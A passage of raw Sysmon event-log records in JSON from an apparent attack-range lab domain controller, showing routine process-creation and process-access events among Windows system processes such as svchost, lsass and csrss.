ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.458","ProcessGuid":"{90617006-3FE4-5F2D-0000-00104F490200}","Image":"C:\\Windows\\System32\\vdsldr.exe","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Virtual Disk Service Loader","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"vdsldr.exe","CommandLine":"C:\\Windows\\System32\\vdsldr.exe -Embedding","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=E5C3B321907C73E782280BE427599F14,SHA256=43F0AF018DC498619222CF16E1C9BDE2F7710732686DC361E4D692B7EFB4DDF9,IMPHASH=D6207B24445355CEA1AC6C8E9A2BA2B9","ParentProcessGuid":"{90617006-3FD3-5F2D-0000-0010AF650000}","ParentProcessId":"588","ParentImage":"C:\\Windows\\System32\\svchost.exe","ParentCommandLine":"C:\\Windows\\system32\\svchost.exe -k DcomLaunch","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1169,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.453\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00104F490200}\r\nTargetProcessId: 3344\r\nTargetImage: C:\\Windows\\System32\\vdsldr.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.453","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00104F490200}","TargetProcessId":"3344","TargetImage":"C:\\Windows\\System32\\vdsldr.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6f453|C:\\Windows\\System32\\KERNEL32.DLL+1d37f|c:\\windows\\system32\\rpcss.dll+35069|c:\\windows\\system32\\rpcss.dll+3a852|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1170,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.453\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00104F490200}\r\nTargetProcessId: 3344\r\nTargetImage: C:\\Windows\\System32\\vdsldr.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.453","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00104F490200}","TargetProcessId":"3344","TargetImage":"C:\\Windows\\System32\\vdsldr.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1171,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.469\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 1064\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00104F490200}\r\nTargetProcessId: 3344\r\nTargetImage: C:\\Windows\\System32\\vdsldr.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.469","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"1064","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00104F490200}","TargetProcessId":"3344","TargetImage":"C:\\Windows\\System32\\vdsldr.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1172,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.469\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.469","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+1b05d|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1173,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.469\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.469","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fa3b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1174,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.469\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nTargetProcessId: 860\r\nTargetImage: C:\\Windows\\system32\\lsass.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.469","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","TargetProcessId":"860","TargetImage":"C:\\Windows\\system32\\lsass.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+fb8b|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1175,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.469\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 100\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-3FD2-5F2D-0000-00101D530000}\r\nTargetProcessId: 852\r\nTargetImage: C:\\Windows\\system32\\services.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.469","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"100","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-3FD2-5F2D-0000-00101D530000}","TargetProcessId":"852","TargetImage":"C:\\Windows\\system32\\services.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+11c6e|C:\\Windows\\system32\\lsasrv.dll+1e0a8|C:\\Windows\\system32\\lsasrv.dll+1d2d1|C:\\Windows\\system32\\lsasrv.dll+1bb00|C:\\Windows\\system32\\lsasrv.dll+2810b|C:\\Windows\\SYSTEM32\\SspiSrv.dll+1467|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:49:56","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":1176,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:49:56.484\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:49:56.484","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:49:57","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 